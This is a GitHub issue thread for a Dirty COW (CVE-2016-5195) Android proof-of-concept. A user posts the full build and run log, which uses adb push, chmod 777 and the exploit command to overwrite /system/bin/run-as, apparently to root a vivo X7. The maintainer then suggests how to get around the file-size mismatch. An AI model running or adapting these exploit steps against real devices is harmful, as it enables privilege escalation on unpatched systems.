search

timwr / CVE-2016-5195

CVE-2016-5195 (dirtycow/dirtyc0w) proof of concept for Android
941 stars 392 forks source link

can't root. vivo X7 #77

Closed hhhaiai closed 5 years ago

hhhaiai commented 6 years ago 
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=arm64-v8a APP_PLATFORM=android-22
make[1]: Entering directory `/Users/sanbo/root/CVE-2016-5195'
[arm64-v8a] Install        : dirtycow => libs/arm64-v8a/dirtycow
[arm64-v8a] Install        : run-as => libs/arm64-v8a/run-as
make[1]: Leaving directory `/Users/sanbo/root/CVE-2016-5195'
adb push libs/arm64-v8a/dirtycow /data/local/tmp/dcow
libs/arm64-v8a/dirtycow: 1 file pushed. 2.3 MB/s (14240 bytes in 0.006s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/arm64-v8a/run-as /data/local/tmp/run-as
libs/arm64-v8a/run-as: 1 file pushed. 1.8 MB/s (10144 bytes in 0.005s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6ffffffe arg 0xa90
WARNING: linker: /data/local/tmp/dcow: unused DT entry: type 0x6fffffff arg 0x1
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10144) and destination file size (9768) differ

corruption?

[*] size 10144
[*] mmap 0x7fa29e9000
[*] currently 0x7fa29e9000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7fa29e9000 10144
[*] madvise = 0 16777216
[*] /proc/self/mem 12517696 1234
[*] exploited 0 0x7fa29e9000=10102464c457f
IanBoyanZhang commented 5 years ago

@hhhaiai Have you managed to bypass the corruption issue? Thanks.

timwr commented 5 years ago

@ianboyanzang. You may need to reduce the file size somehow. You could try building for an older sdk or arm32 (on arm64). Can you create a new issue and post the full log?

IanBoyanZhang commented 5 years ago

@timwr Would love to help. Target file size is about 9k. Will create a new issue and post the full process and log.

hhhaiai commented 5 years ago

@hhhaiai Have you managed to bypass the corruption issue? Thanks.

has no idea.

timwr commented 5 years ago

You can try building the run-as binary for armeabi and an older SDK.

hhhaiai commented 5 years ago

You can try building the run-as binary for armeabi and an older SDK.

build successed

hhhaiai commented 5 years ago

other setup failed